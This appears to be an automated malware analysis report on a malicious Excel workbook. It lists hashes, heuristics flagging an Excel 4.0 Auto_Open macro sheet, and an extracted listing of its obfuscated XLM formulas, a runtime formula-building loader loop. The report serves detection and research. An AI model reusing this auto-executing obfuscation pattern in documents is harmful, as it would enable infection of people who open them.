Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 98b184d6bf2e2cf9…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:38 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: ff4bddc05d7d0aa2333132ebee07064d SHA-1: 34bb99787673cfd5507e208ebcf9a918657d45eb SHA-256: 98b184d6bf2e2cf92eb5173ba1a4caa564f980447eeda268ffc42b67332681f2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6665 bytes
SHA-256: 5c56d05ca9ceb8e32450578dd4bb4b7d9c7483f8724c85953572f99c6dac9523
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RpSJJwVsE
' 0018     26 LABEL : Cell Value, String Constant - AHyPlcJeeVd len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F148 
' 0018     25 LABEL : Cell Value, String Constant - BYawsbjfDl len=0 
' 0018     27 LABEL : Cell Value, String Constant - CFhAsOHFMvFS len=0 
' 0018     27 LABEL : Cell Value, String Constant - DThtKawmICdS len=0 
' 0018     23 LABEL : Cell Value, String Constant - eYWQKQff len=0 
' 0018     27 LABEL : Cell Value, String Constant - gTvhZOKZKLTK len=0 
' 0018     23 LABEL : Cell Value, String Constant - IVfDiikV len=0 
' 0018     20 LABEL : Cell Value, String Constant - mrLUy len=0 
' 0018     27 LABEL : Cell Value, String Constant - pgYADadgDVme len=0 
' 0018     21 LABEL : Cell Value, String Constant - pSjmjH len=0 
' 0018     25 LABEL : Cell Value, String Constant - ptKcYDnoFt len=0 
' 0018     24 LABEL : Cell Value, String Constant - PuiaNmwrE len=0 
' 0018     20 LABEL : Cell Value, String Constant - QCOpU len=0 
' 0018     23 LABEL : Cell Value, String Constant - QOewUhMW len=0 
' 0018     25 LABEL : Cell Value, String Constant - srdANIBoSS len=0 
' 0018     22 LABEL : Cell Value, String Constant - vhKtnjR len=0 
' 0018     25 LABEL : Cell Value, String Constant - WDEQIViVYp len=0 
' 0018     23 LABEL : Cell Value, String Constant - XkrqJmtO len=0 
' 0018     20 LABEL : Cell Value, String Constant - YkGXJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZaIMOvEHrl len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RpSJJwVsE,F51,"SET.NAME("CFhAsOHFMvFS",VALUE("0"))",""
'  RpSJJwVsE,F53,"SET.NAME("AHyPlcJeeVd",CFhAsOHFMvFS)",""
'  RpSJJwVsE,F55,"SET.NAME("srdANIBoSS",CFhAsOHFMvFS)",""
'  RpSJJwVsE,F59,"SET.NAME("gTvhZOKZKLTK",COUNTA(ZaIMOvEHrl))",""
'  RpSJJwVsE,F63,"SET.NAME("QCOpU",COUNTA(ptKcYDnoFt))",""
'  RpSJJwVsE,F67,[],""
'  RpSJJwVsE,F71,"SET.NAME("mrLUy","")",""
'  RpSJJwVsE,F76,"AHyPlcJeeVd",""
'  RpSJJwVsE,F81,"SET.NAME("WDEQIViVYp",HLOOKUP("*",ZaIMOvEHrl,AHyPlcJeeVd,FALSE))",""
'  RpSJJwVsE,F85,"QOewUhMW",""
'  RpSJJwVsE,F88,"SET.NAME("PuiaNmwrE",CFhAsOHFMvFS)",""
'  RpSJJwVsE,F93,[],""
'  RpSJJwVsE,F98,"PuiaNmwrE",""
'  RpSJJwVsE,F103,"YkGXJ",""
'  RpSJJwVsE,F105,"XkrqJmtO",""
'  RpSJJwVsE,F108,"pSjmjH",""
'  RpSJJwVsE,F113,"SET.NAME("eYWQKQff",VALUE(HLOOKUP("*",ptKcYDnoFt,pSjmjH,FALSE)))",""
'  RpSJJwVsE,F118,"DThtKawmICdS",""
'  RpSJJwVsE,F121,"mrLUy",""
'  RpSJJwVsE,F123,"srdANIBoSS",""
'  RpSJJwVsE,F127,NEXT(),""
'  RpSJJwVsE,F129,"BYawsbjfDl",""
'  RpSJJwVsE,F133,"SET.NAME("f",INT(T(FORMULA(T(mrLUy)&"",""&T(BYawsbjfDl)))))",""
'  RpSJJwVsE,F137,"IVfDiikV",""
'  RpSJJwVsE,F142,NEXT(),""
'  RpSJJwVsE,F146,RETURN(),""
'  RpSJJwVsE,F170,"SET.NAME("pgYADadgDVme",F51)",""
'  RpSJJwVsE,F172,"ZaIMOvEHrl",""
'  RpSJJwVsE,F174,"SET.NAME("ptKcYDnoFt",R87C13)",""
'  RpSJJwVsE,F179,"SET.NAME("IVfDiikV",189)",""
'  RpSJJwVsE,F184,"SET.NAME("vhKtnjR",6)",""
'  RpSJJwVsE,F188,pgYADadgDVme(),""
'  RpSJJwVsE,F189,HALT(),""